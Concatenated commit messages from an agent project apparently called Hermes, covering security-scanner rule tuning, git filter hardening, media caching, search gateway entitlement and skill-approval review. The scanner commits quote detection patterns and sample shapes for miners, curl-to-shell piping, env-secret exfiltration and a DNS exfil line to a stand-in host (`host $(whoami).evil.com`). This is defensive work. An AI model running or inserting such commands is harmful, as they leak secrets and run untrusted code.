Seven more mechanisms that scored clean catalog pins as caution/dangerous,
each fixed at the pattern or context level (no path exclusions):
- crypto_mining: the bare coin name `monero` as a keyword in a connector
index / search shortlist (`"monero gateway"`, `... monero multimodal ...`)
lands at medium when nothing on the line names miner software, a pool,
an algorithm or the act of mining. xmrig / stratum / coinhive /
cryptonight, or `monero` beside a pool or "miner", keep full severity.
- dns_exfil: `host` is an English noun and an HTTP header. It now needs
the exfil shape itself (an interpolation inside a domain name,
`host $(whoami).evil.com`) or a shell command position (`; host $x`,
`do host $c`). "the connected host (${id})", a JS `host ${status}:`
message and nginx `Host $host;` no longer match. dig/nslookup unchanged.
- echo_pipe_exec / curl_pipe_shell / wget_pipe_shell: the shared shell
alternation is word-bounded, so `| sha256sum -c` is not `| sh`.
- exec_string: an upper-case SQL statement (`db.exec('PRAGMA ...')`,
BEGIN/COMMIT/ROLLBACK/CREATE/INSERT ...) is a database call.
- sudo_usage (and any other high, non-agent-facing finding) mid-sentence in
a `"key": "string"` pair or a bare string list element of a .json data
file (tips / translation table) takes the README prose cap. Command keys,
a string that starts with the command (`"sudo",` in an args array),
package.json and critical findings keep severity.
- test fixtures: in Python/JS/TS a `$(...)` or backtick INSIDE a string
literal is data, so a hostile-input table no longer counts as executing.
`os.system(...)`/`exec(...)` outside the literal still do; shell files
keep the raw line.
- docs self-uninstall: `rm -rf ~/.hermes/plugins/<own name>` (and
`${HOME}`) gets the same note as the `$HOME` form; a wider target or the
same line in a .sh keeps severity.
curl_pipe_shell in a Python hint string is deliberately unchanged: the
same literal assigned to a variable is the attack shape, and it is only
high (caution) today.
SCANNER_VERSION -> skills-guard-v8 (regex changes in the shared table).
The catalog blast-radius sweep showed `hex_encoded_string` stepping down on
`[Frame(b"\x01\x00" * 200), ...]` — a Python LIST of byte strings that the
bracket lexer read as a regex class. Exclude quote characters from the class
body; the real control-char / ANSI classes in the sweep are unaffected.
Four false-positive classes surfaced by today's catalog intake, each demoted only
where the text is inert and proven to keep its severity at a command position:
- format_filesystem: the filesystem-format binary as an alternation member of a
guard plugin's OWN denylist regex literal (perseus-vault authority.py:44) was an
un-overridable `dangerous`. Joins the existing alternation-token contract
-> high (caution). The same word at a command position (subprocess.run /
os.system / mid-pipeline command string) stays critical.
- env_exfil_curl/wget: a README health check `curl -H "Bearer $KEY" \` whose
loopback URL is on the continuation line (memex8 README.md:166). The pattern
already exempts a same-line loopback; re-run it over the logical line and
require every http(s) host be loopback -> low. A routable host anywhere on the
logical line keeps high (README) / critical (after-install.md).
- deception_hide: a skill tone rule quoting the phrase not to say
(`Do not tell the user to "be careful with terminal."`, hermes-tenuo
SKILL.md:24) no longer matches; unquoted `to ...`, `about`, `that`, `what`
concealment instructions still fire at high.
- hex_encoded_string: every `\xHH` inside a `[...]` regex character class
(`/[\x00-\x1F\x7F]/`, ANSI filters) -> low; a payload outside a class, or
beside a class, keeps medium.
PLUGIN_SCANNER_VERSION -> plugin-guard-v9 so cached verdicts re-scan.
A/B vs origin/main: in-tree sweep 320 entries, 0 worse (3 hex findings
medium->low on real control-char regexes); attack probes identical.
finalize_subagent_worktree's status probe re-hashes files the child touched, so it ran a
repository-named clean filter after every delegated subagent. worktree_ops._worktree_is_dirty, the
dirty probe kanban teardown and the stale-worktree sweep run unattended, called git status with no
hardened env at all: core.fsmonitor ran as well. worktree_ops._worktree_add (hermes -w) had the
fixed pins only, so its checkout ran a named smudge filter.
All three now use noninteractive_repo_git_env. When filter discovery fails, finalization keeps the
worktree as unproven, the dirty probe reports dirty (the reclaimers keep the tree), and hermes -w
refuses to create the worktree. worktree remove --force at prune runs no filter once the status
probe is neutralized.
(cherry picked from commit e727281137a495602457fe4a86b51212af2fdbb7)
The session-start workspace snapshot runs git status, which re-hashes a
re-timestamped file through the repo-named clean filter, and a delegated
subagent's worktree add runs the smudge filter. Both now use
noninteractive_repo_git_env and skip the call when filter discovery fails.
(cherry picked from commit 04170a83d19a026fe6c5f968ce6e61b61f53c418)
worktree add runs a repo-configured smudge filter and status runs its clean filter;
the fixed env pins cannot name the driver. These three sites now use
noninteractive_repo_git_env and skip the call when filter discovery fails. The Cmd-P
ls-files probe stays on the plain env: it never hashes or checks out content.
(cherry picked from commit 8d1233886a477f8fc623caee65dd28ce5e080eeb)
The recovery-hint git status, the TUI fuzzy-completion ls-files, the kanban dispatcher's worktree add and the worktree gc wrapper spawned git with the inherited environment, unlike the other Hermes-initiated git calls hardened in #101483.
(cherry picked from commit 3a8a79e6815f802b62195a24a05bc4239947fe17)
The hourly housekeeping loop hard-coded 24 while every cache accessor
defaults to MEDIA_CACHE_MAX_AGE_HOURS; use the constant so the two cannot
drift (docstring too). iter_cache_files did is_symlink + is_file + stat
per item behind an Optional-cutoff helper; one lstat per item with
S_ISREG (symlinks still excluded, unreadable entries skipped) and a
hoisted generated-root string give identical results with fewer syscalls.
The salvage moved generated images/videos to cache/generated/<kind>/ so the
24h sweep stops deleting the only copy (#126445), but two consumers still
only knew the old swept dirs:
- Strict media delivery (HERMES_MEDIA_DELIVERY_STRICT=1) allowlists cache
roots via _MEDIA_DELIVERY_CACHE_SUBDIRS; without "generated" a day-old
generated image was rejected once the recency window lapsed, i.e. the
move broke re-sending artifacts on public gateways.
- iter_cache_files (Modal/remote resync) walked the new never-swept tree in
full, so every sync re-uploaded the whole generation history. Only files
within the sweep window (MEDIA_CACHE_MAX_AGE_HOURS) are synced now.
GENERATED_SUBDIR and MEDIA_CACHE_MAX_AGE_HOURS live in agent/provider_media
as the single source for the image/video writers, the gateway allowlist and
cleanup default, and credential_files. Also trims duplicated comments and
fixes the pet orchestrate comments (nothing prunes cache/generated/images).
Tests use direct function refs instead of importlib strings.
Generated image/video output now writes under cache/generated/images|videos
instead of the swept inbound caches (cache/images, cache/videos). The hourly
gateway housekeeping deletes 24h-old files in those dirs; for base64-returning
providers the swept file was the only copy, breaking transcript references,
the Artifacts panel and later edits.
Rebased onto current main, where the writers delegate to agent/provider_media,
so the media kind is now the generated/ subpath. cache/generated is added to
tools/credential_files._CACHE_DIRS: without a mount/sync entry the Docker,
SSH and Modal backends never receive the bytes and the provider result loses
agent_visible_image. All callers consume the returned absolute paths, so no
call-site changes were needed; inbound download paths (get_image_cache_dir /
get_video_cache_dir) and the sweeper are untouched.
RED: tests/agent/test_generated_media_durable.py (9 failed on main) — 25h-backdated
generated files deleted by the real cleanup_image_cache / cleanup_video_cache, and
no mount mapping for cache/generated. tests/tools/test_image_generation_artifacts.py
::test_real_generated_image_is_agent_visible_under_ssh_env covers the sandbox
regression with the real writer. Green: 533 passed, 19 skipped.
Co-authored-by: Froraut <79215537+Froraut@users.noreply.github.com>
(cherry picked from commit fd23181f22232f66aec7076d6bf0868ed45661f2)
Behaviour-neutral review cleanups for the stack:
- fuzzy_match: _preserve_unicode_in_replacement now requires the plan
(it is always precomputed by the caller), so the unused old_string param
and the plan-less fallback go away. _apply_replacements takes the
precomputed unicode_plan instead of a preserve_unicode flag, keeping the
strategy decision in fuzzy_find_and_replace where it is made.
- file_operations: _json_nonstandard_constant skips the full json.loads
when the text cannot contain NaN/Infinity (every JSON write pays this
scan), strips the BOM via the shared _strip_bom helper, and catches only
the errors json.loads can raise on str input instead of a blanket
Exception.
- backup: the --keep validator comment now states why it exists (a
negative keep slices away the newest archives).
_preserve_unicode_in_replacement now takes the matched region directly
instead of (content, [span]) wrapped per call, and the normalized
old_string plus its old->new opcodes - identical for every match - are
computed once per replace_all rather than once per match.
The replace_all Unicode regression test moves to a pure
fuzzy_find_and_replace test in tests/tools/test_fuzzy_match.py, replacing
the registry-driven test_patch_unicode_replace_all.py.
Moving the strict parse_constant check into the shared _lint_json_inproc
made the fail-closed write gate reject EVERY write to a .json file that
already holds NaN/Infinity, so an unrelated patch to such a file became
impossible (a regression), and the lint-delta baseline flipped too.
Keep the lint lenient and do the strict check in write_file after the
pre-write probe: refuse a candidate containing NaN/Infinity/-Infinity
unless the pre-edit content already used one. Unknown pre-content
(missing file, unreadable) refuses, keeping new files strict.
The parametrized test replaces tests/tools/test_json_write_constants.py.
Sharing the Portal read between the two gates collapsed a deliberate branch:
get_nous_portal_account_info(force_fresh=True) if force_fresh
else get_nous_portal_account_info()
into a single always-keyword call. Several callers stub the reader with a
zero-argument lambda - tests/tools/test_managed_media_gateways.py:54 among them -
so passing force_fresh=False raises TypeError, which this helper's own
except Exception then swallows into None. managed_nous_tools_enabled() silently
became False and the managed media gateways stopped resolving.
Caught by CI, not by the local sweep: the failing tests live in
tests/tools/test_managed_media_gateways.py, outside the web suites that were run.
Restore the branch and say why it is load-bearing, so the next cleanup pass does
not collapse it again. Verified: that file goes 3 failed -> 5 passed, and 469 pass
across the 17 files that stub this reader.
The refusal named a cause that cannot happen. `_vendor_gateway` never contacts the
network, so "unreachable" was wrong for the no-identity, failed-lookup and
not-entitled cases alike — and a guest was told it had no Nous identity when it
holds a perfectly good one.
Root of the guest case: `_error_info` dropped `account_tier`, so a guest whose
account lookup failed — precisely the state where the tier can no longer be read
from the JWT, because the token is inside its refresh window — came back looking
like a registered identity. Carry the stored tier through the error snapshot, and
both this refusal and every other tier-aware surface see it.
Pick the reason in priority order (guest / no usable identity / unreachable) in
one helper beside `fast_search_entitled`, so the predicate and its explanation
cannot drift, and phrase it as a clause for `selection_error`'s "but …" template —
the canonical `FREE_TIER_NEEDS_ACCOUNT` strings are standalone sentences and read
wrong embedded mid-sentence.
Also record why the `error` clause in `fast_search_entitled` is load-bearing
rather than defensive, so it is not removed as belt-and-braces.
The test helper now mirrors what anon_auth actually persists (the tier alongside
the token), which is what makes the failed-lookup case reproducible at all.
fast_search_entitled() repeated managed_nous_tools_enabled()'s body line for
line — the lazy import, the force_fresh ternary and the try/except — and carried
a force_fresh parameter no caller ever passed.
Extract the read into _account_info() and make both gates one-liners on top of
it. Behaviour is unchanged: both still fail closed when the read itself raises.
The managed Perplexity ``search_type: "fast"`` route is served without funding
checks, but eligibility is still identity-scoped: the anonymous guest tier has no
Portal account behind it, so it must keep the keyless ring rather than claim a
route the gateway may not serve it.
``resolve_free_search_gateway`` resolved on the presence of a Nous token alone,
and the guest tier has a perfectly usable one, so every anonymous install would
have been routed to the gateway. Add ``fast_search_entitled`` — a registered
Portal identity of any tier, no credit or tool-pool requirement, anonymous tier
excluded, failing closed on unknown/error — and gate the free route on it.
Guests are byte-identical to before: the resolver returns None, autodetect falls
through to the keyless ring, and no gateway request is made. A registered
zero-credit account still gets free fast search. Extract and every other managed
vendor keep the paid entitlement gate.
The Tool Gateway serves Perplexity POST /search with search_type: "fast"
to any Nous identity without funding checks, but Hermes gated the route
locally behind managed_nous_tools_enabled() (paid access or a live tool
pool), and autodetect only selected managed Perplexity after the gated
Firecrawl probe passed. Anonymous and credit-exhausted users fell through
to the keyless ring without trying it.
Resolve the Perplexity search route on identity alone
(resolve_free_search_gateway: usable Nous token, same guest-disabled and
refresh rules), and let autodetect pick it when nothing explicit is
configured. Every other vendor keeps the entitlement gate, and the billed
managed-Firecrawl fallback now requires it too, so a free-search-only
caller whose call fails goes to the keyless rescue ring as before.
Explicit selections and direct keys keep precedence.
Follow-up to the in-process schedule tool:
- run-lifecycle guard: an unbound/malformed HERMES_KANBAN_RUN_ID now refuses
kanban_schedule, so a stale worker cannot park a card a successor owns
- goal_mode tasks are refused: `scheduled` ends the goal loop like `blocked`,
so parking would bypass the completion judge (#38696)
- stop nudge treats kanban_schedule as a handoff
- Codex app-server workers get it via EXPOSED_TOOLS
- cron/AGENTS.md lists it with the worker toolset
Refs #108554, #108566
managed_image_partner inlined the dispatcher's strip-or-None reading of
image_gen.provider/model; managed_route now normalises raw values itself,
so both callers pass config values straight through and cannot drift.
_managed_model_plugin's docstring points at managed_route instead of
restating the rule, and NOUS_MANAGED_PROVIDER is a top-level import (no
cycle). A Krea style reference that disappears between is_file() and open()
now returns invalid_image_url instead of raising. Test comment corrected:
only managed-model routing ignores legacy use_gateway.
The routing rule (direct vendor -> none; Krea id -> Krea; Portal id -> Portal
only under an explicit `nous`, else FAL) lived in _managed_model_plugin and
was copied into managed_image_partner, where it read the provider through
_selected_provider: lowercased and legacy use_gateway: true counted as
`nous`. The dispatcher does neither, so e.g. use_gateway + a Portal id was
labelled "Nous Portal" while generating on FAL. Both now call
tools.image_generation_managed.managed_route() with the stored values read
the same way. Dispatch behaviour is unchanged.
The salvaged handler forwarded creativity/intensity/complexity/movement to
whichever route ran, declared or not. A model that copies slider values
from earlier turns after the backend changed would hand them to a
third-party generate() without **kwargs, which raises TypeError and fails
a plain text-to-image call that works today. Both plugin routes now keep
only the names in the provider's capabilities()["creative_controls"].
Tests: the dispatch test now declares one control and asserts the
undeclared one is dropped; the two schema tests become one relationship
test (the schema renders exactly what the Krea plugin declares, FAL renders
none) instead of pinning the enum and bounds.
Re-gate finding: dropping the override clause from the fallback condition kept every test
green, and would hand a spawn under a dashboard/cron override the LAUNCH profile's secrets
(an explicit target_home beats the override inside served_profile_child_env). The comment
now says that instead of claiming the slash-worker spawn has the same shape (it does not
check override or scope).
UnscopedSecretError reads "could not read this profile's OPENROUTER_API_KEY" when get_secret
passes the name, which the salvaged rule missed (fell to unknown). Key on the lede both
spellings share. The dedicated test duplicated the parametrized table (and retry_action of
a non-retryable code); the named spelling is a table row built from the real exception.
A spawn site that cannot resolve the target profile's secret scope fails with copy that says
"API key" and "restart", but nothing was ever sent to a provider. It classified as `unknown`;
give it its own code (`target_scope_unresolved`), claimed before the auth rules, never
auto-retried.
Salvaged from b0c6f0e165 (classifier half only; the refusal copy and reply rewrite were
dropped in review).
The salvaged fallback also fired on single-profile hosts and in the separate DM-runner
process, where it pinned HERMES_HOME, rewrote TMPDIR and overlaid .env secrets over a
pass-through env. Gate it on is_multiplex_active(), the same shape as the slash-worker
spawn (#115427), so single-profile hosts stay byte-identical.
The original test compared against production's own resolver, so swapping the fallback to
get_process_hermes_home() (follows a host-mirrored HERMES_HOME) stayed green. The new test
pins the launch home, mirrors another home into HERMES_HOME and asserts the literal launch
path + its key; a second test pins the single-profile pass-through. Mutations: launch->active
red, gate removed red, fallback removed red.
delivery_env() passed profile_home straight through, and _profile_home answers None for the
LAUNCH profile by design ("already the launch profile, no override needed"). A relay RPC is
sessionless, so it binds no secret scope, and served_profile_child_env then failed closed under
multiplex (tools/environments/local.py:404) with its generic "could not read this profile's API key".
Effect: every relayed DM into a *default* profile died on the delivering gateway, while deliveries
to named secondary profiles - which do resolve a home - kept working, and inbound stayed fine. That
asymmetry is the whole bug: it is the target being the launch profile, not the transport.
Resolve the launch home only when the two tiers served_profile_child_env already prefers (the home
override, then the bound secret scope) are both absent, so a bound scope still wins.
Red on base: delivery_env(None, None) raises UnscopedSecretError verbatim; green after, with the
override and scope tiers asserted to still take precedence.
(cherry picked from commit 39e09b02c459ae572a06a2a787c246639623ca65)
set_prompts_wait_for_answer() binds, per turn, that built-in approval prompts
have no deadline; approval_wait_seconds() is the one resolver the gateway poll
loop, the CLI prompt and the human-wait ceiling read. approvals.timeout keeps
governing messaging platforms, ACP and approval transport plugins.
A human-wait window now fixes its ceiling when its waiters enter it, so the
batch-deadline loop reading it from an unbound context still excludes an
unbounded prompt in full.
Ensure `--session <name>` is passed alongside `--cdp <ws_url>` in `tools/browser_tool_session.py:_run_browser_command()`.
Previously, `--session` was omitted when `session_info["cdp_url"]` was set, causing `agent-browser` CLI invocations to run statelessly without connecting to a session daemon. Consequently, the accessibility ref map built during `browser_snapshot` was not retained across CLI calls, causing subsequent ref actions like `browser_click("@e4")` or `browser_type("@e4", text)` to treat `@e4` as an unescaped CSS selector and fail with Playwright parser errors.
message.reaction events are session-scoped (they mutate a chat
transcript), but desktop_ui.emit() was routing ALL events through
HERMES_UI_SESSION_ID — a window/socket identity. The renderer's
gateway-event stream is keyed on the session id, so the frame
landed on a stream that doesn't own the transcript and was never
painted live. The reaction persisted correctly (the DB write is
session-aware), but only appeared after a resume/reload.
Window-level events (pane.reveal, preview.open) continue to route
by HERMES_UI_SESSION_ID unchanged.
Fixes#80678.
Chromium debug profile, media-cache and vision/computer-use cache dirs were
created with bare makedirs inheriting the umask (0755); their files landed
0644. Under the documented HERMES_HOME_MODE=0701 traversal hatch those stores
(Cookies, Login Data, screenshots, inbound media) were readable by every
other local account. Dirs are now created owner-only (0700) with the mode
passed to mkdir (no post-chmod window) and reconciled via the house
hermes_cli.config._secure_dir / _secure_file policy helpers, which keep the
managed/NixOS group-share carve-out and HERMES_UID/HERMES_GID ownership.
Cache files are written 0600 via os.open.
Deleting a session also left its journaled in-flight turn tail (user prompt
+ tool calls) in localStorage to age out on its own; purgeInFlightTurnJournals
now runs on both delete surfaces (sidebar removeSession and Settings
permanent delete), draining every id the delete holds.
Refs #77486
has_active_processes() matched the collapsed container key (task_id) instead
of the raw spawning owner (owner_task_id), so a delegate child's own background
work was invisible to it even after the sibling query paths (list, snapshot,
kill_all, completion-wait) were fixed on main by 529d683d6a: the container key
is shared across turns and delegate children.
Also stamp wsl[.exe]-launched spawns with a durable wsl_chain marker
(checkpoint-persisted) and surface a wsl -e ps pointer in list entries: the
recorded host PID is the short-lived launcher, never the Linux-side workers.
Co-authored-by: finn763 <165816600+finn763@users.noreply.github.com>
Skills mounted from skills.external_dirs are externally authored, but every
provenance surface flattened them into 'agent': the usage report, the
dashboard's set-based twin, the desktop catalog/detail UI, and the learning
journey graph (where a used external mount rendered as a learned skill).
- tools/skill_usage: provenance() gains an 'external' tier (external-only:
a local copy of the same name keeps winning, mirroring is_agent_created's
external exclusion and _external_skill_names() scans external dirs once
for the router's set-based twin.
- web_routers/skills: /api/skills classifies hub > bundled > external > agent.
- learning_graph: skills whose path resolves under an external dir are tagged
source='external' and are never learning milestones — a mount is configured,
not learned, even when used.
- desktop: SkillInfo.provenance gains 'external'; the catalog labels mounts
'external' and the detail pane keeps them editable in place. Origin only,
never mutability: read-only enforcement for external mounts was deliberately
rejected by maintainers (commit 8c8fc6c1ec / PR #17512 — a refusal just
breeds silent local duplicates). Provenance decisions extracted into
skill-provenance.ts pure helpers (testable without source-reading tests).
- curator: usage report/filter knows the 'external' origin.
The desktop edit logic in this commit is the natural reading of 8c8fc6c1ec
(external dirs exist so the user can point Hermes at a vault they curate
elsewhere); if maintainers prefer the read-only half as well, it slots in
behind isEditableProvenance() in one place.
EOF
)
_fold_staged()/skill_pending_diff() folded patch ops with plain str.replace(),
ignoring replace_all and the fuzzy-match contract the approve path runs
(_patch_skill -> fuzzy_find_and_replace). A patch whose anchor repeats in the
target content previewed a folded diff ('X X') that /skills approve would then
reject with 'Found 2 matches'.
Fold previews through fuzzy_find_and_replace with the payload's replace_all and
render an explicit '(patch would fail: ...)' note instead of a fabricated
result; in a staged batch a failed patch leaves the later ops' base at the
pre-patch content, since approve aborts the batch at that op. Also drops the
trailing blank line at EOF flagged by git diff --check.
With skills.write_approval on, every skill write is staged to the
file-backed pending store, but no non-CLI surface could review it:
the desktop resolver marked the whole /skills family as the sidebar's
(desktop="settings") and discarded the subcommand token, and
tui_gateway command.dispatch had no route for /skills or /memory —
a failed slash worker turned both into the routing refusal, so staged
writes accumulated silently (#98330, #123315, #118812).
- hermes_cli/commands.py: new CommandDef.desktop_subcommands field;
/skills declares its write-approval review slice
(pending/approve/reject/diff/approval) and drops desktop="settings".
command_desktop_meta serializes the allowlist (empty tuple = deny
all); gateway contract regenerated.
- apps/desktop: the resolver threads the typed arg —
desktopSubcommandAllowlist, an exec gate
(desktopSubcommandUnavailableMessage) that renders an actionable
refusal for hub mutations instead of forwarding them, completion
filtering so the popover never suggests a dead end, and the
isDesktopSlashCommand(name, arg) threading at the runExec gate.
An explicit /skills spec keeps a current Desktop able to review
staged writes even against an older backend catalog.
- tui_gateway command.dispatch: _cmd_skills answers only the
registry-declared review slice under _session_home_scope (an
unlisted subcommand keeps the 4018 routing refusal); _cmd_memory
routes the shared handler with the live agent's store or a fresh
on-disk one and a profile-scoped config setter. Gate-off still
answers while staged writes exist (gateway parity, never stranded).
- tools/write_approval: _staged()'s review hint is surface-aware —
slash-capable surfaces (CLI/TUI/desktop/chat gateway) keep
"<command> pending"; headless contexts (cron, kanban, api_server,
webhook delivery) get the pending directory path instead of a
command nobody can deliver.
Batch skill writes also rendered "(batch on ...)" for /skills diff —
skill_pending_diff had no action='batch' case; ops now diff in order
against what earlier ops of the same batch left (finn763's #123861).
Supersedes #98794 (registry-driven desktop_subcommands + resolver
allowlist), #105773, #118821 (command.dispatch handlers + arg
threading), #123861 (batch diff renderer). #107799 is superseded by
the same subcommand-aware resolution.
Co-authored-by: foma-agent <foma@bokonon.ai>
Co-authored-by: Jason Havenaar <35441875+jasonHav@users.noreply.github.com>
Co-authored-by: finn763 <165816600+finn763@users.noreply.github.com>
Co-authored-by: chelsealong <chelsealong@126.com>
skill_pending_diff had no case for action='batch' (every skill_manage
operations[] write), so /skills diff <id> fell through to '(batch on …)'.
Batch ops apply in order: each op now diffs against what the earlier ops
of the same batch left in the file (disk only for untouched files), under
its skill_gist header; single-op paths are unchanged.
Filenames with extensions, hashes, UUIDs, dense model/version IDs and
paths were spoken character by character ('peyton-sample-20260922.wav'
as 'peyton dash sample dash two zero two six...'), making otherwise
clean synthesized audio sound corrupted (#119207).
One identifier-to-speech pass, mirrored token-for-token in
tools/tts_text_normalize.py (prune_identifier_tokens_for_tts, wired
into prepare_spoken_text after the symbols pass) and
apps/desktop/src/lib/speech-text.ts (pruneIdentifierTokens, in
sanitizeTextForSpeech after code fences/links/URLs/MEDIA tokens are
consumed). Identifier-dense tokens become silence — never a hardcoded
English placeholder word, per the #86602 lesson (the reply may be in
any language). Ordinary prose, email addresses, dates ('2026/06/02'),
ratios ('3:2'), prices and short hyphenated words (COVID-19,
well-known) pass verbatim.
Also fixes a pre-existing smooth_whitespace_for_tts bug the corpus
surfaced: 'user@example.com' was read as 'user@example. com' because
the punctuation-space pass split any letter-follows-punctuation pair;
it now only splits when the punctuation is not glued to a word
character on the left.
The two implementations are pinned to the same corpus
(tests/fixtures/identifier_speech_corpus.json), asserted by both
tests/tools/test_tts_identifier_speech.py (pytest) and
apps/desktop/src/lib/speech-text.identifier-corpus.test.ts (vitest).
Builds on the desktop-half approach of PR #119212 (which leaves the
gateway/CLI normalizer in tools/tts_text_normalize.py untouched) and
extends it to both halves.
Co-authored-by: KoNit-K <konit.block@protonmail.com>
The terminal approval check runs right after the lifecycle guard, on the
tool thread with no deadline. Seven hermes/docker/podman rules used the same
ambiguous `-{1,2}\S+(?:[=\s]\S+)?` flag repetition as the lifecycle pattern,
so the reported rclone command (and any long flag run after hermes, docker,
docker compose or podman) still froze the gateway in
detect_dangerous_command() once the lifecycle scan returned (#129281).
Give each rule a linear global-flag fragment with one parse per flag. The
docker/podman rules keep taking a separate value only after exactly one
whitespace character, as before, so no approval decision changes: old and
new rules agree on every command of up to four tokens with single spaces
and up to three tokens with mixed spaces, double spaces and tabs.
Reported-by: starship-s
- Resolve the (connection, profile) once per dictation / conversation and use
it for the warm-up, the transcription (client-direct config + relay) and the
release; untagged halves stay untagged instead of re-reading ambient scope.
- Recorder and conversation drop any continuation (warm-up, transcript,
submit) that settles after unmount, end(), or a newer start().
- syncSttLease: every settled-apart acquire is sent (no client freshness
window); an acquire coalesces only onto a queued acquire that is still the
latest intent, so on/off/on ends acquired and waits for its own acquire.
- Idle-unload watcher applies the stt.local policy of the caller that last
loaded/used the shared model, re-read in that caller's context each cycle.